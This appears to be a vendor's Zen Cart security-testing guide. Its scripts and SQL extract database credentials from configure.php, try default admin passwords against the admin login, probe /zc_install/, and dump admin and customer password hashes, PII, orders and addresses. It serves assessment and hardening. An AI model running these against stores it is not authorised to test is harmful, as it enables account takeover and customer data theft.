Zen Cart Security Testing: Default Credentials, API Key, Database, and E-commerce

Zen Cart is one of the most widely deployed PHP e-commerce platforms, with a large legacy install base running outdated versions. Key assessment areas: includes/configure.php exposes MySQL credentials; the /zc_install/ directory enables admin password reset via re-installation; admin/admin is a common default with no lockout protection; tbl_admin uses unsalted MD5; and the customer database contains PII and purchase history. This guide covers systematic Zen Cart security assessment.

Table of Contents

  1. configure.php MySQL Credential Extraction
  2. Admin Panel and zc_install Re-installation Assessment
  3. MySQL tbl_admin Hash, Customer PII, and Order Extraction
  4. Zen Cart Security Hardening

configure.php MySQL Credential Extraction

# Zen Cart — configure.php MySQL credential extraction
ZC_URL="https://shop.example.com"

# includes/configure.php — Zen Cart database configuration
cat /var/www/zencart/includes/configure.php 2>/dev/null | \
  grep -E "DB_SERVER|DB_SERVER_USERNAME|DB_SERVER_PASSWORD|DB_DATABASE|DIR_FS"

python3 -c "
import re
content = open('/var/www/zencart/includes/configure.php').read()
patterns = {
    'db_password': r\"define\('DB_SERVER_PASSWORD',\s*'([^']+)'\)\",
    'db_username': r\"define\('DB_SERVER_USERNAME',\s*'([^']+)'\)\",
    'db_server': r\"define\('DB_SERVER',\s*'([^']+)'\)\",
    'db_database': r\"define\('DB_DATABASE',\s*'([^']+)'\)\",
    'db_prefix': r\"define\('DB_PREFIX',\s*'([^']*)'\)\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# admin/includes/configure.php — admin path discovery
cat /var/www/zencart/admin/includes/configure.php 2>/dev/null | \
  grep -E "HTTP_SERVER|DIR_WS_ADMIN"
# define('HTTP_SERVER', 'https://shop.example.com');
# define('DIR_WS_ADMIN', '/admin/');  <-- admin panel path

# Check configure.php web exposure
for PATH in "includes/configure.php" "admin/includes/configure.php"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${ZC_URL}/${PATH}" 2>/dev/null)
  echo "${PATH}: HTTP ${STATUS}"
done

# Check for /zc_install/ re-installation directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${ZC_URL}/zc_install/" 2>/dev/null)
echo "/zc_install/: HTTP ${STATUS}"

# Test admin credentials
for CRED in "admin:admin" "admin:password" "admin:zencart" "admin:Admin123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${ZC_URL}/admin/index.php" \
    -d "admin_name=${USER}&admin_pass=${PASS}&securityToken=test&action=process" \
    -c /tmp/zc_c -b /tmp/zc_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and zc_install Re-installation Assessment

# Zen Cart admin panel — zc_install re-installation and file manager assessment
ZC_URL="https://shop.example.com"

# /zc_install/ directory — Zen Cart installer/upgrader
# If accessible, attacker can reset admin credentials via reinstall wizard
curl -s "${ZC_URL}/zc_install/index.php" 2>/dev/null | \
  grep -iE "install|upgrade|database|admin" | head -5

# zc_install presence check and step enumeration
for STEP in "" "?page=install_1" "?page=install_2" "?page=database_setup"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${ZC_URL}/zc_install/index.php${STEP}" 2>/dev/null)
  echo "zc_install${STEP}: HTTP ${STATUS}"
done

# Zen Cart admin file manager (if enabled)
ADMIN_SESS="extracted-admin-session-cookie"
curl -s "${ZC_URL}/admin/file_manager.php" \
  -b "zenAdminID=${ADMIN_SESS}" 2>/dev/null | \
  grep -i "upload\|file" | head -5

# Zen Cart admin backup — database download
curl -s "${ZC_URL}/admin/backup.php" \
  -b "zenAdminID=${ADMIN_SESS}" 2>/dev/null | head -5

# Check for exposed /extras/ and /install/ directories
for DIR in "/extras/" "/install/" "/zc_install/" "/docs/"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${ZC_URL}${DIR}" 2>/dev/null)
  echo "${DIR}: HTTP ${STATUS}"
done

MySQL tbl_admin Hash, Customer PII, and Order Extraction

# Zen Cart MySQL database — tbl_admin hash, customer PII, and order extraction
DB_PASS="extracted-db-password"
DB_PREFIX="zen_"  # Default prefix; check configure.php DB_PREFIX

mysql -u zencart -p"${DB_PASS}" zencart 2>/dev/null << 'EOF'
-- Zen Cart admin accounts (tbl_admin)
SELECT admin_id, admin_name, admin_email,
       admin_pass,         -- MD5 hash (unsalted in older versions)
       admin_level, admin_created,
       admin_modified, failed_logins
FROM zen_admin
ORDER BY admin_id;
-- admin_pass: MD5 in older Zen Cart; newer versions use SHA-512 with salt

-- Customer accounts with hashed passwords
SELECT customers_id, customers_email_address,
       customers_password,       -- MD5 (older) or hashed
       customers_firstname, customers_lastname,
       customers_phone, customers_fax,
       customers_newsletter, date_account_created,
       date_account_last_modified
FROM zen_customers
ORDER BY customers_id
LIMIT 20;

-- Orders with customer PII and financial data
SELECT orders_id, customers_name, customers_email_address,
       customers_telephone, billing_name,
       billing_street_address, billing_postcode,
       billing_city, billing_country,
       payment_method, payment_module_code,
       currency, order_total,
       date_purchased, last_modified,
       orders_status
FROM zen_orders
ORDER BY orders_id DESC
LIMIT 20;

-- Order line items
SELECT op.orders_products_id, op.orders_id,
       op.products_name, op.products_price,
       op.products_quantity, op.products_model,
       o.customers_email_address, o.payment_method
FROM zen_orders_products op
JOIN zen_orders o ON o.orders_id = op.orders_id
ORDER BY op.orders_products_id DESC
LIMIT 20;

-- Customer shipping addresses
SELECT ab.address_book_id, ab.entry_firstname,
       ab.entry_lastname, ab.entry_street_address,
       ab.entry_postcode, ab.entry_city,
       ab.entry_country_id, ab.entry_telephone,
       c.customers_email_address
FROM zen_address_book ab
JOIN zen_customers c ON c.customers_id = ab.customers_id
ORDER BY ab.address_book_id
LIMIT 20;
EOF

Zen Cart Security Hardening

Zen Cart Security Hardening Checklist:
Security TestMethodRisk
/zc_install/ directory enabling admin password resetGET /zc_install/ — HTTP 200 = installer accessible; unauthenticated admin account creation/password resetCritical
includes/configure.php MySQL DB_SERVER_PASSWORD extractionRead /var/www/zencart/includes/configure.php — database credentials; full access to customer PII, orders, and admin hashesCritical
admin/admin brute-force (no lockout in older versions)POST /admin/index.php — unlimited brute-force; admin session enables file manager RCE, database backup downloadHigh
zen_admin table unsalted MD5 hash extractionMySQL SELECT admin_pass FROM zen_admin — MD5 cracks in milliseconds; admin account compromise enables full store controlHigh
zen_customers table MD5 hash and PII extractionMySQL SELECT customers_password, customers_email, customers_phone FROM zen_customers — customer credentials and contact data; PCI DSS-relevant if card data storedHigh

Automate Zen Cart Security Testing

Ironimo tests Zen Cart deployments for /zc_install/ post-installation accessibility enabling admin password reset, includes/configure.php MySQL DB_SERVER_PASSWORD credential extraction, admin/admin brute-force at /admin/index.php with no lockout protection, zen_admin table MD5 admin password hash extraction, zen_customers table MD5 customer hash and PII (email, phone, name) extraction, zen_orders table purchase history and billing address data enumeration, file_manager.php PHP file upload RCE capability assessment, backup.php full database download access, exposed /extras/ and /docs/ directory enumeration, and Zen Cart version disclosure for SQL injection CVE targeting.

Start free scan